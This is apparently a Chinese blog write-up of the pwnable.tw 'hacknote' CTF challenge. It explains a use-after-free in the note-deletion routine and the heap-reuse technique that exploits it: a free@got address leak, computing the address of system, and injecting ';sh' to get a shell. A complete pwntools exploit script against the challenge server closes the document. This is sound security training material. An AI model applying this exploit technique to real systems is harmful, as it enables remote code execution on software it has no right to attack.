pwnable.tw--hacknote

hacknote

基本逻辑

这又是一道malloc相关的内存题目,但是不是老套路。三个函数:add_note,delete_note和print_note。

使用add_note分配的地址用一个堆表(自己起的名字)存放,(其实就是一个存放地址的数组)。通过add_note可以看出分配的每个块是什么结构:

add_note

首先在ptr[i]中存放一个8字节大小的block(实际malloc分配了16字节)地址;然后这个地址中(称为note块)前4个字节是一个函数地址,即输出地址+4中的内容:

函数内容

另外四个字节存放一个新分配的content块的地址,大小size由用户进行输入。对于一个初始状态的地址空间,add_note后的结构如下:


note结构,content结构


delete_note就是先释放content地址这块空间,再释放malloc(8)这块空间。

print_note就是调用note块的第一个字段即puts函数

漏洞

deltenote将note和content释放之后并没有将ptr[i]置为空,也就是说,虽然指针所指向的内存释放掉了,但实际内容还在,我们仍然能使用,即UAF。

漏洞利用

本题的关键点是,当某一次申请的content大小也为8时,将有机会分配到之前释放过的note块。这样通过向content中写入内容相当于修改note块。由此达到目的。

system函数地址泄露:print_note的打印功能可以帮助泄露地址。例如,先add note0,大小为128,再add note1,大小为128。delete note1,note0.此时再申请add note2,大小为8. 那么note2的note块就是note0块,note2的content块就是note1块(fastbin的原则是LIFO)。此时向content2中写入puts函数地址(保持不变,还是原来的)和free@got地址,这样在调用 print note2时,就会将free函数的实际地址泄露,再根据偏移泄露system函数地址。

system函数调用:同理,这个操作与地址泄露相似,delete note2,add note3,也是要求content大小为8,这次将puts函数地址位置覆写成泄露的system函数地址和将要执行的指令。

这里涉及一个知识点:Linux连续执行多条命令http://blog.csdn.net/freedom2028/article/details/7104131 仔细看print_note,最终调用函数时,参数也是同一个地址:

print_note

即,如果将puts函数地址覆盖为system地址,system的参数是system函数地址本身,这样肯定不行。但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以将content位置覆盖成 ‘;sh\0’.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.log_level='debug'

def add_note(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(content)

def delete_note(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))

def print_note(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))


debug = 0
if debug:
p = process('./hacknote')
libc = ELF('./libc.so')
else:
p = remote('chall.pwnable.tw', 10102)
libc = ELF('./libc_32.so.6')
add_note(128,'aaaa')
add_note(128,'bbbb')
delete_note(1)
delete_note(0)

payload = p32(0x804862b)+p32(0x804A018)
add_note(8,payload)

print_note(1)
free_addr = u32(p.recv(4))
print "free_addr:%x" %free_addr


offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset

delete_note(2)
payload = p32(system_addr) + ';sh\0'
add_note(8,payload)

print_note(1)
if debug:
gdb.attach(p)
print "offset:%x,system_addr: %x" %(offset,system_addr)


p.interactive()